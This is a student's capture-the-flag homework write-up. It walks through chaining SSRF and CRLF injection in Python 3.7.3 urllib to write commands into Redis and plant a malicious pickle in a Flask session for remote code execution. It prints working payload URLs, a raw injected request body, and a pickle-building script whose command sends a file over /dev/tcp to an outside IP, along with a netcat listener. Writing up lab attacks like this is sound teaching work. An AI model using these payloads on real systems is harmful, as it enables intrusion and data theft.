Computer Security HW6 Write-Up

Name:陳正康
Student ID: B07902143
Account: soyccan

Reference

Python 3.7.3 urllib possible CR-LF injection

- https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
  - http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-5699
  - hijack header by inserting CRLF in host address
- https://nvd.nist.gov/vuln/detail/CVE-2019-9740
  - hijack body by inserting CRLF in URL parameter or path

Strategy

- Flask use Redis to store its session data
  - session data: an serialized object
- if session data can be modified by an SSRF request to Redis
  - by deserialization => RCE

some CRLF is represented by \n in this write-up

First Attempt: gopher://

attempt

gopher can generate a TCP packet to Redis
and modify its data
payload URL: `gopher://redis:6379/_SET%20key1%20"val1"%0d%0a`

hindrance

`urllib` in Python3 does not support `gopher://` protocol

solution

use `http://`

Second Attempt: CR-LF Injection to Hijack Host Header

attempt

if URL is: `http://0%0aSET var 87%0a:5000`
the host part will be: `0%0aSET var 87%0a:5000`
we can control the "Host" field in header
full request:

```
GET / HTTP/1.1
Host: 0\n
SET var 87\n
```

a valid redis command `SET var 87` emerges

hindrance

URL: `http://0%0aSET var 87%0a:5000`

ValueError: Invalid header value

reason

- See: https://github.com/python/cpython/blob/3.7/Lib/http/client.py :141
  `is_illegal_header_value = re.compile(rb'\n(?![ \t])|\r(?![ \t\n])').search`
- in host part of URL, any LF should be followed by a space or tab

solution

add a space after every LF in URL: `http://0%0a SET var 87%0a :5000`
Redis will ignore the leading space

Third Attempt: Hijack Flask Session Data in Redis

attempt

we want to modify session data in Redis to put our exploit in:

```
SET session:209eabcenec0-e92de-e9ue "<our serialized malicious data>"
```

so that the unserialization of our malicious data leads to RCE

hindrance

idna label too long

reason

- a domain: www.field1.field2.field3.com
  - each field by DNS standard should have up to 63 characters

solution

use APPEND instead of SET command
add some dots to separate the URL:
`http://172.18.0.2%0a .%0a set session:2e556664-a9fb-46d7-a8f4-5ed3c5da94b2 ""%0a .%0a APPEND session:2e556664-a9fb-46d7-a8f4-5ed3c5da94b2 "%5Cx8"`
after unquote:

```
Host: 172.18.0.2
 .
 SET session:<sessid> ""
 .
 APPEND session:<sessid> "<data fragment 1>"
 .
 APPEND session:<sessid> "<data fragment 2>"
 .
 APPEND session:<sessid> "<data fragment 3>"
 .
```

Fourth Attempt: Continue the Third Attempt

hindrance

redis_1 | 1:M 10 Dec 2019 05:49:29.604 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.

reason

- See: https://github.com/antirez/redis/blob/5.0/src/server.c :325
  - if an “host:” string appears as the first word of a command, access is denied by Redis

solution

Not found yet. QQ

Fifth Attempt: CRLF Injection to Hijack Body

attempt

add **non-quoted** CRLF in URL path: (Python code)
`urllib.request.urlopen('https://edu-ctf.csie.org:10163', data=b'url=hhttp://redis:6379\nSET var 87\nSAVE\n..padding')`
got shorted URL: https://edu-ctf.csie.org:10163/eud8c6Y

This succeeded in Python 3.7.3 !

The behaviour depends on Python version

In more recent version, this will err:

- http.client.InvalidURL: URL can’t contain control characters.
- See: https://github.com/python/cpython/blob/3.7/Lib/http/client.py :148
  - _contains_disallowed_url_pchar_re = re.compile(’[\x00-\x20\x7f]’)

next step

visit the shorted URL: https://edu-ctf.csie.org:10163/eud8c6Y
in server's `get_title()` it will send request to URL: `http://redis:6379/\nSET var 87\nSAVE\n..padding`

The expected request:

```
GET /\n
SET var 87\n
SAVE\n
..padding HTTP/1.1
Host: redis:6379
```

Since "Host:" appears after SET and SAVE,
data is written BEFORE Redis break the connection,
our data is successfully written!

Final Exploitation

1. visit https://edu-ctf.csie.org:10163 and get session id in cookie
   - b6ef01b6-6008-41d8-a383-2aefc8b3bd22
2. send post to https://edu-ctf.csie.org:10163 (\n denote LF)
   - with our pickle-serialized data: "\x80\x03cposix\nsystem\nq\x00X?\x00\x00\x00bash -c 'cat th1s_i5_y0ur_fl4g > /dev/tcp/140.112.196.228/6666'q\x01\x85q\x02Rq\x03."

```
POST / HTTP/1.1\n
\n
url=http://redis:6379/\n
SET "session:b6ef01b6-6008-41d8-a383-2aefc8b3bd22" "<our serialized data>"\n
SAVE\n
..padding
```

3. visit shorted URL: https://edu-ctf.csie.org:10163/eud8c6Y
   - session is overwritten by our payload
4. nc -vkl 6666
5. refresh the initial page with the same session id
6. get flag!
   FLAG{cyku__nogg}

script to generate seriialized payload

```python
import os
import pickle

class Exploit:
    def __reduce__(self):
        return (os.system, (
        'bash -c "cat th1s_i5_y0ur_fl4g > /dev/tcp/140.112.196.228/6666"',))

shellcode = pickle.dumps(Exploit())
print(shellcode)
```